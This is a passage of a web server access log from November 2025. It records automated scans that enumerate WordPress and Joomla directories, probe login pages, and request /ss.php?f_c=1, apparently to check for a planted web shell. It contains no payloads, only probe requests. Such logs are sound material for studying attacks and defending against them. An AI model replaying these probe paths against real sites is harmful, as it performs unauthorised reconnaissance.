Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:32:05 +0330] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:32:10 +0330] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:32:52 +0330] "GET /wp-includes/js/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:32:58 +0330] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:33:00 +0330] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:33:04 +0330] "GET /wp-includes/random_compat/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:33:07 +0330] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:33:10 +0330] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:33:11 +0330] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:33:12 +0330] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:33:14 +0330] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:33:15 +0330] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:33:16 +0330] "GET /admin/images/slider/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:33:17 +0330] "GET /admin/fckeditor/editor/filemanager/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:33:18 +0330] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:33:21 +0330] "GET /components/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:33:38 +0330] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:33:39 +0330] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:33:39 +0330] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:33:45 +0330] "GET /wp-admin/images/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:33:51 +0330] "GET /wp-admin/user/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:33:53 +0330] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:33:55 +0330] "GET /wp-admin/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:33:56 +0330] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:33:06 +0330] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:33:06 +0330] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:33:08 +0330] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:33:09 +0330] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:33:17 +0330] "GET /sites/default/files/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:33:20 +0330] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:33:22 +0330] "GET /admin/uploads/images/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:33:23 +0330] "GET /wp-includes/js/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:33:43 +0330] "GET /wp-admin/css/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:33:49 +0330] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:33:50 +0330] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:33:50 +0330] "GET /wp-admin/network/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:33:52 +0330] "GET /wp-content/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:33:54 +0330] "GET /wp-content/themes/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:33:55 +0330] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:43:08 +0330] "GET /administrator/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:43:12 +0330] "GET /administrator/components/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:43:14 +0330] "GET /administrator/modules/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:43:22 +0330] "GET /administrator/templates/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:43:27 +0330] "GET /administrator/language/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:43:37 +0330] "GET /administrator/help/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:43:47 +0330] "GET /administrator/cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:43:51 +0330] "GET /administrator/logs/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:43:58 +0330] "GET /administrator/tmp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:44:06 +0330] "GET /components/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:44:12 +0330] "GET /modules/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:44:19 +0330] "GET /plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:45:17 +0330] "GET /tmp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:45:22 +0330] "GET /logs/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:45:28 +0330] "GET /libraries/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:45:31 +0330] "GET /includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:44:53 +0330] "GET /media/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:44:58 +0330] "GET /images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:45:05 +0330] "GET /cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:46:08 +0330] "GET /layouts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:46:10 +0330] "GET /cli/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 91.224.92.112 - - [04/Nov/2025:22:46:34 +0330] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.112 - - [04/Nov/2025:22:46:34 +0330] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.112 - - [04/Nov/2025:22:46:34 +0330] "GET /login HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.112 - - [04/Nov/2025:22:46:34 +0330] "GET /admin HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.112 - - [04/Nov/2025:22:46:35 +0330] "GET /wp-login HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.112 - - [04/Nov/2025:22:46:35 +0330] "GET /wordpress/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.112 - - [04/Nov/2025:22:46:35 +0330] "GET /blog/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.112 - - [04/Nov/2025:22:46:35 +0330] "GET /wp/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.112 - - [04/Nov/2025:22:46:35 +0330] "GET /cms/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:49:11 +0330] "GET /images/2025/01/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 193.36.224.71 - - [04/Nov/2025:22:51:15 +0330] "GET /ss.php?f_c=1 HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 104.234.19.47 - - [04/Nov/2025:22:51:16 +0330] "GET /ss.php?f_c=1 HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 45.144.196.50 - - [04/Nov/2025:22:51:42 +0330] "GET /images/2024/04/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:51:48 +0330] "GET /images/2024/05/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:45:52 +0330] "GET /language/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:46:28 +0330] "GET /images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:46:35 +0330] "GET /images/2025/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:46:42 +0330] "GET /images/2024/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:46:50 +0330] "GET /images/2023/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:47:00 +0330] "GET /images/2022/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:47:06 +0330] "GET /images/2021/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:47:12 +0330] "GET /images/2020/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:51:10 +0330] "GET /images/2025/06/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:51:22 +0330] "GET /images/2024/01/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:51:24 +0330] "GET /images/2024/02/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:51:27 +0330] "GET /images/2024/03/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:53:37 +0330] "GET /images/banners/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:53:46 +0330] "GET /images/sampledata/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:53:55 +0330] "GET /images/headers/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:55:44 +0330] "GET /components/com_users/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:51:52 +0330] "GET /images/2024/06/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:51:56 +0330] "GET /images/2023/01/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:52:01 +0330] "GET /images/2023/02/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:52:47 +0330] "GET /images/2023/04/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:52:52 +0330] "GET /images/2023/05/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:53:00 +0330] "GET /images/2023/06/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; 